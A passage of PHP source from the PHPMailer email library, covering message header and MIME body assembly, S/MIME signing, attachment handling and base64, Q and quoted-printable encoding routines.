            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
